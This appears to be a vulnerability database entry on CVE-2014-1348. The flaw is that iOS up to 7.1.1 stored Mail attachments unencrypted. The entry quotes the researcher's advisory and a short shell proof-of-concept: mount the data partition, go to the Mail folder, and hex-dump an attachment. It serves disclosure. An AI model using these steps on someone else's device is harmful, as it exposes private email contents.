Apple iOS up to 7.1.1 Email Attachment MobileMail.app cryptographic issues

CVSS Meta Temp Score
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Current Exploit Price (≈)
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CTI Interest Score
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3.3$0-$5k0.00

A vulnerability was found in Apple iOS up to 7.1.1 (Smartphone Operating System). It has been rated as problematic. Affected by this issue is some unknown functionality of the file MobileMail.app of the component Email Attachment Handler. The manipulation with an unknown input leads to a cryptographic issues vulnerability. Using CWE to declare the problem leads to CWE-310. Impacted is confidentiality, and integrity.

The weakness was presented 04/23/2014 by Andreas Kurtz as What Apple Missed to Fix in iOS 7.1.1 as not defined blog post (Website). The advisory is shared for download at andreas-kurtz.de. The public release was coordinated in cooperation with the vendor. This vulnerability is handled as CVE-2014-1348 since 01/08/2014. The attack needs to be approached locally. A simple authentication is required for exploitation. Technical details as well as a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1600. The advisory points out:

(...) I shut down the device and accessed the file system using well-known techniques (DFU mode, custom ramdisk, SSH over usbmux). Finally, I mounted the iOS data partition and navigated to the actual email folder. Within this folder, I found all attachments accessible without any encryption/restriction.

A public exploit has been developed by Andreas Kurtz in Shell and been published immediately after the advisory. The exploit is available at andreas-kurtz.de. It is declared as proof-of-concept. As 0-day the estimated underground price was around $5k-$25k. The code used by the exploit is:

# mount_hfs /dev/disk0s1s2 /mnt2
# cd /mnt2/mobile/Library/Mail/

# xxd IMAP-MY_MAILADDRESS/INBOX.imapmbox/Attachments/4/2/my_file.pdf 
0000000: 2550 4446 2d31 2e34 0a25 81e2 81e3 81cf  %PDF-1.4.%......
0000010: 81d3 5c72 0a31 2030 206f 626a 0a3c 3c0a  ..\r.1 0 obj.<<.
0000020: 2f43 7265 6174 696f 6e44 6174 6520 2844  /CreationDate (D
0000030: 3a32 3031 3330 3830 3532 3034 3830 3329  :20130805204803)
0000040: 0a2f 4d6f 6444 6174 6520 2844 3a32 3031  ./ModDate (D:201
0000050: 3330 3830 3532 3034 3830 3329 0a2f 5469  30805204803)./Ti
0000060: 746c 6520 2852 2047 7261 7068 6963 7320  tle (R Graphics 
0000070: 4f75 7470 7574 290a 2f50 726f 6475 6365  Output)./Produce
0000080: 7220 2852 2033 2e30 2e31 290a 2f43 7265  r (R 3.0.1)./Cre
0000090: 6174 6f72 2028 5229 0a3e 3e0a 656e 646f  ator (R).>>.endo

The blog post contains the following remark:

I reported these findings to Apple. They responded that they were aware of this issue, but did not state any date when a fix is to be expected.

The vulnerability is also documented in the vulnerability database at X-Force (93048). zdnet.com is providing further details.

Not Affected

  • Apple iOS up to 7.0.3

Productinfo

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Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 3.6
VulDB Meta Temp Score: 3.3

VulDB Base Score: 3.6
VulDB Temp Score: 3.3
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Cryptographic issues
CWE: CWE-310
CAPEC: 🔍
ATT&CK: 🔍

Local: Yes
Remote: No

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Andreas Kurtz
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

01/08/2014 🔍
04/23/2014 +105 days 🔍
04/23/2014 +0 days 🔍
05/06/2014 +13 days 🔍
05/07/2014 +1 days 🔍
07/01/2014 +55 days 🔍
06/19/2021 +2545 days 🔍

Sourcesinfo

Vendor: apple.com

Advisory: What Apple Missed to Fix in iOS 7.1.1
Researcher: Andreas Kurtz
Status: Not defined
Confirmation: 🔍
Coordinated: 🔍

CVE: CVE-2014-1348 (🔍)
IAVM: 🔍

X-Force: 93048 - Apple MobileMail.app information disclosure, Low Risk
SecurityTracker: 1030500
SecurityFocus: 67263 - Apple iOS 'MobileMail.app' Local Information Disclosure Vulnerability
OSVDB: 106668

scip Labs: https://www.scip.ch/en/?labs.20150917
Misc.: 🔍

Entryinfo

Created: 05/06/2014 17:33
Updated: 06/19/2021 10:18
Changes: 05/06/2014 17:33 (81), 04/02/2019 09:36 (1), 06/19/2021 10:18 (4)
Complete: 🔍
Cache ID: 3:373:103

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